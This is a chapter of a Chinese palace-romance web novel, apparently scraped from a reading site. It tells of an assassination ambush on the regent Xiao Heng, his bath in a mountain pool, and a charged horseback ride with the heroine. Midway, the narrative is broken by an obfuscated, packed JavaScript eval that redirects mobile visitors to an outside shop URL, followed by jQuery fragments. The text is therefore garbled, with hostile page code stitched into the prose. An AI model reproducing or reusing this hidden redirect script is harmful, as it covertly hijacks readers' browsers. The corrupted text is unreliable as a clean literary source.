44. 第 44 章

作品:《始乱终弃摄政王之后

    他察觉了。


    他不仅察觉了林中异常,更察觉了她的惊恐。


    周身空气霎时凝固。


    “五殿下这是在说什么?”沈挽棠面上缓缓绽开浅笑,带着些许无辜的茫然,“臣女听不懂。”


    话音未落,她抬起手,搭在萧逸攥着缰绳的手背上。


    纤细的手指动作轻柔,指尖却凉得惊人,缓慢坚定的,将他的指节从缰绳上一根根掰开。


    萧逸眸色一暗。


    沈挽棠倾身,距离近得能看清他眼中自己的倒影。


    “五殿下若执意相阻,挽棠惶恐,一时失态,惊动了旁人。”


    “若是让所有人都知道,殿下您及您这些忠心耿耿的随从,对林中可能存在的意外了如指掌,甚至早有防备……”


    她直视他,“五殿下觉得,陛下会作何想?”


    两人靠的极紧,温热气息附在耳畔。


    山风恰在此时掠过,拂乱青丝。有几缕竟轻盈地探向萧逸的颊边,在如玉肌肤旁流连徘徊,若即若离。


    她在赌。


    赌他与林中之事脱不了干系,赌他绝不敢将事情闹大。


    萧逸扣在她腕间的手没动,可桃花眼眸的温润再也维持不住。


    他直直看着沈挽棠,仿佛要将人彻底看穿。


    良久,他极轻地扯动嘴角,终是松了手。


    “既如此,望棠儿……好自为之。”


    .


    地势起伏,清浅泉流蜿蜒而过。


    山荫浓密,枝叶筛下的光斑在青石上晃动不安。


    正是梦中景象。


    萧珩长身玉立,玄色衣袂在风中微动。听到身后熟悉而急促的脚步声,并未立即回头,只是唇角几不可察地勾起一丝弧度。


    方向明确,径直朝他而来。


    纤细身影终于停下。


    沈挽棠微微喘气,显然是一路寻得急切。


    萧珩转身,一双凤眸静静看着她,似是了然,又似是带着几分刻意的不解。


    “沈二姑娘为何在此地?”


    沈挽棠在他面前站定,迎上他的视线,心头莫名一动,竟觉得他此刻心情似乎……颇为愉悦?


    马儿被系在不远处的树下,马蹄在松软的土地上留下浅痕。


    沈挽棠压下心底悸动。


    “只是随意走走,不慎迷了方向。”


    “迷路?”萧珩眉梢轻挑,“从此处往东是皇家禁苑,往西是悬崖深谷。沈二姑娘这路迷得,倒是精准。”


    他向前一步,微微俯身,清冽松香侵入她的感知,“还是说,你早知道本王在此?”


    沈挽棠心头一紧。


    他的眼神太过复杂。


    三分试探,七分了然。


    难道同上次一样,他又察觉到了什么?


    她凝神环顾,林间只有风吹叶动的沙沙声,偶有鸟鸣掠过,一派宁静祥和。


    或许是她太过敏感?


    她抿了抿唇:“王爷为何一人待在此处,还是早些回去为好。”


    “你在担心我。”萧珩语气笃定。


    沈挽棠正要反驳,却见他眸色一沉,看似随意地往前移了半步,恰好将她完全护在身后与树干之间。


    “昨日围猎,五皇子大展身手,想必沈二姑娘很是欣慰。”他忽然谈起不相干的话题,声音平稳,余光却扫视着四周。


    沈挽棠反应也极快。


    “王爷?”她声音极轻。


    萧珩突然抬手,修长的食指轻轻抵上她的唇。


    微凉的触感让她浑身一颤,所有话语都哽在喉间,不自觉地咽了咽口水。


    她抬眼,正对上他的深邃凤眸。沉着镇定,甚至还带着一丝慵懒笑意。


    霎那间,异象陡生。


    “咻咻咻!”


    数支淬了毒的弩箭,毫无征兆地从三个不同的方向破空而来,直指萧珩的后心与颈侧。


    速度快得只留下残影。


    几乎是同时,两侧茂密的灌木丛与树冠上,骤然跃出十数道黑影。


    他们身着的灰褐色劲装,与山林环境融为一体,脸上覆着方相面具。


    是训练有素的死士。


    沈挽棠失声惊呼:“萧珩!”


    宽大袖袍一展,玄色身影将人严严实实护在怀中。


    他没有闪避,甚至没有回头。在弩箭即将及体的瞬间,他仿佛背后生眼,精准无比地在空中一卷,致命的弩箭竟被尽数扫落。


    他缓缓转身。


    他脸上依旧没什么表情,只是那双凤眸中,平日深藏的慵懒瞬间褪去,取而代之的是一种从未见过的森寒冷冽,以及一丝被触怒逆鳞的暴戾。


    沈挽棠看着他护在自己身前的背影,心头一震。


    “萧珩你要小心。”


    “待着别动。”


    萧珩的身形如鬼魅。


    每一个动作都简洁到了极致,只为杀戮。


    侧身避开劈砍的同时,手刀已精准砍在对方喉骨。反手用力,便是一道喷溅的血线。


    喉骨碎裂,刀刃入肉。


    他穿梭于刀光剑影之中,玄色衣袍在空气中猎猎作响,却始终将沈挽棠护在一个相对安全的范围内,诡异地未曾让她沾染半分血迹。


    沈挽棠手心全是冷汗。


    她终于亲眼见到了他这个样子。


    对啊,他是萧珩。是在尸山血海中踏出的摄政王萧珩。


    死士人数众多,攻击又不计代价。


    沈挽棠的心始终高高悬着,目光紧紧追随着他的身影,生怕刀锋有一丝一毫落在他身上。


    他为了格开一支射向她的流矢,手臂被一名死士的刀锋划破,玄色衣袍裂开一道口子时。


    沈挽棠几乎要冲过去。


    萧珩连眉头未皱,反手便以凌厉招式捏死偷袭的死士。


    战斗接近尾声,地上已倒了十余具尸首。


    无一活口。


    萧珩站在尸骸中央,随手将夺来的染血刀剑掷于地上,发出铛啷清响。


    山林重归死寂,唯有浓重的血腥气弥漫不散。


    萧珩整理略有凌乱的衣袖,拂去上面并不存在的灰尘,这才抬眸,看向不远处脸色苍白的沈挽棠。


    方才的骇人杀气瞬间收敛,无影无踪,仿佛刚才那个杀神只是幻觉。


    .


    林间凉意清冽。


    两人牵着马,并肩而行。


    萧珩玄色衣袍上浸染的血迹已呈暗红。


    越往深处,水声便越发清晰,泠泠淙淙,如同指引。


    拨开垂落的枯藤,眼前豁然开朗。


    山涧自石壁倾泻而下,汇入一湾清澈见底的浅潭。


    萧珩停下脚步,将马缰随手挽在一旁的矮树枝上。他侧首,忽然对身侧的沈挽棠道:“稍等我片刻。”


    “嗯?你要做什么?”沈挽棠微怔。


    萧珩没有解释,只是唇角微不可察地弯了一下。


    浅潭清澈,却冰冷刺骨。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962201|189821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>萧珩面向冰寒泉水,毫不犹豫地解开了腰间玉带。


    玄色外袍随之落地,接着是染血的中衣,露出线条分明的脊背与紧实的腰臂,旧伤新痕交错,深深浅浅刻在冷白肌肤上。


    他浑身只余长裤,步入潭中。


    刺骨的泉水瞬间漫过腰腹,激得背部肌理清晰地绷紧了一瞬。但他面不改色,呼吸都未曾紊乱半分。


    他掬水冲洗着肩臂的血污与伤口,水珠从他轮廓分明的下颌线滚落。


    沈挽棠站在岸边,心头一紧,“这水太寒,你还有伤在身……”


    她上前一步,朝他伸出手,“快上来。”


    萧珩回眸,湿透的墨发凌乱贴在额际,水珠沿着他挺拔的鼻梁滚落,途经紧抿的薄唇,最终悬停于线条分明的下颌。


    “无妨。”


    他眸色深沉,衬得眉骨更为凌厉,嗓音中带着浸润冷气的沙哑。


    他的目光似有若无地在她脸上流转,精准捕捉到她耳根悄然浮起的那抹绯色,如同白玉染霞,无处遁形。


    沈挽棠下意识地屏住了呼吸。


    水珠从他线条分明的锁骨滑落,沿着紧实的胸膛缓缓向下,没入水中……


    她像是被什么灼伤了一般,慌乱地移开视线。


    一丝极淡的了然自萧珩眼底掠过。他凤眸微眯,深邃的眼底浮现笑意。


    沈挽棠僵硬地别开脸,然而脸颊却愈发滚烫,连颈侧的肌肤都染上了淡淡的粉色。


    ……


    山涧的水声渐渐被抛在身后。


    取而代之的,是掠过耳畔的猎猎风声。


    两人同乘一骑,在空旷的猎场上纵马疾驰。萧珩一手稳稳控着缰绳,另一条手臂却如铁箍般环在她腰间,将她整个背脊牢牢锁在自己怀中。


    沈挽棠的背脊下意识地紧绷,试图在这过分的贴近中维持一丝距离。然而每次颠簸,都让她更深地陷进他的怀抱。


    她能清晰地感受到他胸膛传来的心跳,震动透过相贴的脊背,一声声敲打在她的心弦上。


    玄色衣料之下,他紧绷的肌肉线条随着控马的动作起伏。


    风卷起她的发丝,缠绕在他的衣襟上。


    她的呼吸紊乱。


    身下的骏马速度渐渐缓了下来,最终踏着悠闲的步子,漫步在夕阳笼罩的草场上。


    疾驰烈风褪去。


    无声暧昧悄然滋生。


    马背起起伏伏,萧珩垂眸,视线便不由自主地落在了怀中人的颈侧。


    细劲雪白,线条优美脆弱。


    方才的奔跑,沁出细密汗珠,在夕阳余晖下泛着莹润的光泽,仿佛上好的羊脂玉。


    几缕被风吹乱的乌黑发丝黏贴其上,黑白交织,美得惊心动魄。


    他环在她腰间的手臂不自觉地收紧了几分,将她更深地嵌入自己怀里,下巴轻轻抵上她柔软的发顶。


    温热的呼吸拂过她的耳廓。


    “棠儿……”


    他低唤她的名字,嗓音比平日更加低沉沙哑,带着一丝不易察觉的喟叹。


    “为何要来救我?”


    情感如同奔涌的炽热岩浆,终于寻到裂隙,破土而出。


    滚烫,汹涌。


    几乎要灼伤他彼此。


    沈挽棠被他搅得心慌意乱,下意识想要偏头,避开这过于灼热的呼吸,却被他手臂的力量禁锢,被迫仰起了头。


    然而这个仰头的动作,将脆弱的颈线全然暴露在他的视线之下,如同无声的邀约。